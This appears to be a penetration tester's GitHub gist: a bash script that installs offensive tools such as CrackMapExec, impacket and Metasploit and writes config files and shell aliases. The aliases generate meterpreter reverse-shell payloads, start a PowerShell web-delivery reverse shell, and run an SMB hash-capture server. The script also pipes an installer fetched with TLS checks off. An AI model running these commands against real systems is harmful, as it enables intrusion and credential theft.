Skip to content

Instantly share code, notes, and snippets.

@sho-luv
Last active March 19, 2020 19:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sho-luv/1f8378c8ec2329507074a08ebf8e0969 to your computer and use it in GitHub Desktop.
Save sho-luv/1f8378c8ec2329507074a08ebf8e0969 to your computer and use it in GitHub Desktop.
#/bin/bash
# upgrade and update
sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
# grep color
alias grep='grep --color=always'
# disable ssl for github
#git config --global http.sslVerify false
# make tools dir
mkdir /root/tools/
cd /root/tools/
# install bleeding edge crackmapexec
apt-get install -y libssl-dev libffi-dev python-dev build-essential
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec && git submodule init && git submodule update --recursive
python setup.py install
# install jexboss
git clone https://github.com/joaomatosf/jexboss.git
readlink -f jexboss/jexboss.py | xargs -t -I file ln -s file /usr/local/bin/
# install impacket
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/ && python setup.py install && cd
# pip install --trusted-host pypi.python.org crackmapexec
# renable ssl for github
#pip config --global http.sslVerify true
# roll back ldap3 for impacket's smbrelay and ntlmrelay
#pip install ldap3==2.0.9
# Fix tmux so you can use mouse to adjust window panes
cat <<EOT >> ~/.tmux.conf
"# set up tmux to allow mouse manipulation"
*set -g mouse on
EOT
# install .vimrc to disable visual insert
cat <<EOT >> ~/.vimrc
" Python
"au BufRead *.py compiler nose:
au FileType python set omnifunc=pythoncomplete#Complete
au FileType python setlocal expandtab shiftwidth=4 tabstop=4 smartindent cinwords=if,elif,else,for,while,try,except,finally,def,class,with
au BufRead *.py set efm=%C\ %.%#,%A\ \ File\ \"%f\"\\,\ line\ %l%.%#,%Z%[%^\ ]%\\@=%m
au FileType python set foldmethod=indent foldlevel=99
" set ruby file tabstop, shiftwidth, and:
autocmd FileType ruby setlocal et ts=2 sw=2 tw=0
" set right mouse click:
set mouse-=a
" set tabs and syntax:
syntax on
set tabstop=4
set shiftwidth=4
" set chars for tabs etc:
set listchars=eol:$,tab:>-,trail:~,extends:>,precedes:<
" implement plugin:
call plug#begin()
Plug 'chrisbra/recover.vim'
call plug#end()
" set search colors:
set hlsearch
hi Search ctermbg=LightYellow
hi Search ctermfg=Red
EOT
# all my shortcuts and aliases
cat <<EOT >> ~/.bash_aliases
# http servers:
alias http='python3 -m http.server 80'
alias https='python3 -m http.server 443'
alias http-php='php -S 0.0.0.0:80'
# metasploit aliases:
alias handler='msfconsole -qx "use exploit/multi/handler; exploit"'
alias msfvenom-exe='/opt/metasploit/app/msfvenom -p windows/meterpreter/reverse_tcp -f exe'
alias msfvenom-php='/opt/metasploit/app/msfvenom -p php/meterpreter/reverse_tcp -f raw'
alias powershell='msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/powershell_reverse_tcp; set LHOST eth0; exploit"'
alias smb-capture='msfconsole -qx "workspace smb-capture; use auxiliary/server/capture/smb; set JOHNPWFILE smb-john-hashes;exploit"'
# clean up typescripts
typescript-clean(){
cat "$1" | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b
}
# turn files into lists
listify(){
sed 's/\s\+/\n/g' "$1" | sed '/^[[:space:]]*$/d'
}
EOT
# install ncdu
apt-get install ncdu
# install metasploit
curl --insecure https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
rm msfinstall
# fix msf database
service postgresql start
msfdb init
# install masscan
apt-get install masscan
# install terraform:
# download latest version of terraform:
TER_VER=`curl -s https://api.github.com/repos/hashicorp/terraform/releases/latest | grep tag_name | cut -d: -f2 | tr -d \"\,\v | awk '{$1=$1};1'`
wget https://releases.hashicorp.com/terraform/${TER_VER}/terraform_${TER_VER}_linux_amd64.zip
# unzip downloaded terraform:
unzip terraform_${TER_VER}_linux_amd64.zip
# delete zip file
rm unzip terraform_${TER_VER}_linux_amd64.zip
# move terraform to my path:
sudo mv terraform /usr/local/bin/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment